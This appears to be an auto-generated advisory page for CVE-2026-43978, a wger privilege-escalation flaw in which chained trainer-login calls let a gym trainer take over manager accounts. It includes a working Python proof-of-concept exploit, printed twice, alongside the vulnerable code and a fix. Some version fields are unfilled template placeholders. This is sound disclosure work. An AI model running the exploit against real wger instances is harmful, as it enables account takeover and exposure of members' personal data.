CVE-2026-43978: wger Privilege Escalation Vulnerability

HIGH
Advisory Identifier: GHSA-9qpr-vc49-hqg2
CVSS 8.1
CWE-269
Published
Advisory Summary

CVE-2026-43978 is a HIGH (CVSS 8.1) privilege escalation vulnerability (CWE-269: Improper Privilege Management) affecting wger libraries in the PyPI ecosystem. The issue involves privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager. Remediation is available in the latest vendor maintenance releases.

CVE-2026-43978 at a Glance

CVE Identifier CVE-2026-43978
GHSA Identifier GHSA-9qpr-vc49-hqg2
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-269: Improper Privilege Management
Affected Product wger
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-43978

To remediate this vulnerability, upgrade all affected wger dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wger fixed: Latest secure release
pip install wger>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show wger

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-43978, inspect your installed packages using pip:

pip show wger

Analyze the terminal output to locate any version of wger in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show wger command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In wger, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity` is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers. ### Details In `wger/core/views/user.py` lines 169–178, the permission check uses an AND condition: ```python # Line 169 — passes if EITHER condition is false if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'): return HttpResponseForbidden() # Line 173 — only runs when current user IS a trainer, not when identity is inherited if request.user.has_perm('gym.gym_trainer') and ( user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms') ): return HttpResponseForbidden() ``` After hop 1 (trainer → regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session['trainer.identity']` is set. Line 169 evaluates: `not False AND not False` → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds. ### PoC Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym. ```python import requests BASE = 'http://localhost:80' s = requests.Session() def whoami(): r = s.get(f'{BASE}/api/v2/userprofile/', headers={'Accept': 'application/json'}) return r.json().get('username') # ───────────────────────────────────────────── print("=" * 55) print(" PoC: Trainer Login Privilege Escalation") print(" wger/core/views/user.py:169") print("=" * 55) # ─── STEP 1: Normal login as gym trainer ───── print("\n[STEP 1] Login as 'trainer1'") print(" trainer1 has ONLY 'gym.gym_trainer' permission") s.get(f'{BASE}/en/user/login') s.post(f'{BASE}/en/user/login', data={ 'username': 'trainer1', 'password': 'pass1234', 'csrfmiddlewaretoken': s.cookies['csrftoken'], }) print(f" Current user : {whoami()}") print(f" Permission : gym.gym_trainer (NOT manage_gym)") # ─── STEP 2: Legitimate trainer-login ──────── print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)") print(" This is ALLOWED — trainer1 has gym_trainer permission") print(" Side effect: session['trainer.identity'] = trainer1_pk") s.get(f'{BASE}/en/user/4/trainer-login') print(f" Current user : {whoami()}") print(f" Session flag : trainer.identity is now SET") # ─── STEP 3: EXPLOIT ───────────────────────── print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)") print(" regular1 has ZERO permissions") print(" BUT session['trainer.identity'] is set from Step 2") print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED") s.get(f'{BASE}/en/user/3/trainer-login') result = whoami() print(f" Current user : {result}") # ─── RESULT ────────────────────────────────── print("\n" + "=" * 55) if result == 'manager1': print(" RESULT : !! VULNERABLE !!") print(" trainer1 (gym_trainer) is now logged in as manager1") print(" manager1 has 'gym.manage_gym' — full gym admin access") else: print(" RESULT : Not vulnerable (got: " + result + ")") print("=" * 55) ``` Output on wger 2.5.0a2: <img width="728" height="628" alt="image" src="https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5" /> ### Impact Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. ### How to fix The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop. Vulnerable code (user.py:169–178): ``` if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'): return HttpResponseForbidden() if request.user.has_perm('gym.gym_trainer') and ( user.has_perm('gym.gym_trainer') or user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms') ): return HttpResponseForbidden() ``` Suggested fix: ``` trainer_identity_pk = request.session.get('trainer.identity') if not request.user.has_perm('gym.gym_trainer'): if not trainer_identity_pk: return HttpResponseForbidden() # Verify the original trainer in the session still holds the permission original_trainer = get_object_or_404(User, pk=trainer_identity_pk) if not original_trainer.has_perm('gym.gym_trainer'): return HttpResponseForbidden() # Target-user check must apply in both direct and chained hop scenarios if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and ( user.has_perm('gym.gym_trainer') or user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms') ): return HttpResponseForbidden() ```

CVE-2026-43978 Affected wger Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wger
PyPI
≤ 2.5

References

Frequently Asked Questions

What is CVE-2026-43978?
CVE-2026-43978 is a security vulnerability in wger involving Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager under CWE-269: Improper Privilege Management.
Which wger versions are affected?
Affected versions include releases prior to current release patches across affected packages: wger.
What version fixes CVE-2026-43978?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wger affected?
Yes, wger is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-43978?
CVE-2026-43978 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-43978?
CVE-2026-43978 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check PyPI dependencies for CVE-2026-43978?
Run the dependency tree command: 'pip show wger'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9qpr-vc49-hqg2",
  "modified" : "2026-05-14T16:16:30Z",
  "published" : "2026-05-14T16:16:30Z",
  "aliases" : [ "CVE-2026-43978" ],
  "summary" : "wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager",
  "details" : "### Summary\nA gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity`\nis set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.\n\n### Details\nIn `wger/core/views/user.py` lines 169–178, the permission check uses an AND condition:\n\n```python\n# Line 169 — passes if EITHER condition is false\nif not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):\n    return HttpResponseForbidden()\n\n# Line 173 — only runs when current user IS a trainer, not when identity is inherited\nif request.user.has_perm('gym.gym_trainer') and (\n    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')\n):\n    return HttpResponseForbidden()\n```\n\nAfter hop 1 (trainer → regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session['trainer.identity']` is set. Line 169 evaluates:\n`not False AND not False` → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.\n\n\n### PoC\nRequirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.\n\n```python\nimport requests\n\nBASE = 'http://localhost:80'\ns = requests.Session()\n\ndef whoami():\n    r = s.get(f'{BASE}/api/v2/userprofile/',\n              headers={'Accept': 'application/json'})\n    return r.json().get('username')\n\n# ─────────────────────────────────────────────\nprint(\"=\" * 55)\nprint(\"  PoC: Trainer Login Privilege Escalation\")\nprint(\"  wger/core/views/user.py:169\")\nprint(\"=\" * 55)\n\n# ─── STEP 1: Normal login as gym trainer ─────\nprint(\"\\n[STEP 1] Login as 'trainer1'\")\nprint(\"         trainer1 has ONLY 'gym.gym_trainer' permission\")\n\ns.get(f'{BASE}/en/user/login')\ns.post(f'{BASE}/en/user/login', data={\n    'username': 'trainer1',\n    'password': 'pass1234',\n    'csrfmiddlewaretoken': s.cookies['csrftoken'],\n})\nprint(f\"         Current user  : {whoami()}\")\nprint(f\"         Permission    : gym.gym_trainer (NOT manage_gym)\")\n\n# ─── STEP 2: Legitimate trainer-login ────────\nprint(\"\\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)\")\nprint(\"         This is ALLOWED — trainer1 has gym_trainer permission\")\nprint(\"         Side effect: session['trainer.identity'] = trainer1_pk\")\n\ns.get(f'{BASE}/en/user/4/trainer-login')\nprint(f\"         Current user  : {whoami()}\")\nprint(f\"         Session flag  : trainer.identity is now SET\")\n\n# ─── STEP 3: EXPLOIT ─────────────────────────\nprint(\"\\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)\")\nprint(\"         regular1 has ZERO permissions\")\nprint(\"         BUT session['trainer.identity'] is set from Step 2\")\nprint(\"         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED\")\n\ns.get(f'{BASE}/en/user/3/trainer-login')\nresult = whoami()\nprint(f\"         Current user  : {result}\")\n\n# ─── RESULT ──────────────────────────────────\nprint(\"\\n\" + \"=\" * 55)\nif result == 'manager1':\n    print(\"  RESULT : !! VULNERABLE !!\")\n    print(\"  trainer1 (gym_trainer) is now logged in as manager1\")\n    print(\"  manager1 has 'gym.manage_gym' — full gym admin access\")\nelse:\n    print(\"  RESULT : Not vulnerable (got: \" + result + \")\")\nprint(\"=\" * 55)\n```\n\nOutput on wger 2.5.0a2:\n\n<img width=\"728\" height=\"628\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5\" />\n\n### Impact\nAny authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.\n\n### How to fix\n\nThe root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.\n\nVulnerable code (user.py:169–178):\n\n```\nif not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):\n    return HttpResponseForbidden()\n\nif request.user.has_perm('gym.gym_trainer') and (\n    user.has_perm('gym.gym_trainer')\n    or user.has_perm('gym.manage_gym')\n    or user.has_perm('gym.manage_gyms')\n):\n    return HttpResponseForbidden()\n```\n\nSuggested fix:\n\n```\ntrainer_identity_pk = request.session.get('trainer.identity')\n\nif not request.user.has_perm('gym.gym_trainer'):\n    if not trainer_identity_pk:\n        return HttpResponseForbidden()\n    # Verify the original trainer in the session still holds the permission\n    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)\n    if not original_trainer.has_perm('gym.gym_trainer'):\n        return HttpResponseForbidden()\n\n# Target-user check must apply in both direct and chained hop scenarios\nif (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (\n    user.has_perm('gym.gym_trainer')\n    or user.has_perm('gym.manage_gym')\n    or user.has_perm('gym.manage_gyms')\n):\n    return HttpResponseForbidden()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T16:16:30Z",
    "nvd_published_at" : null
  }
}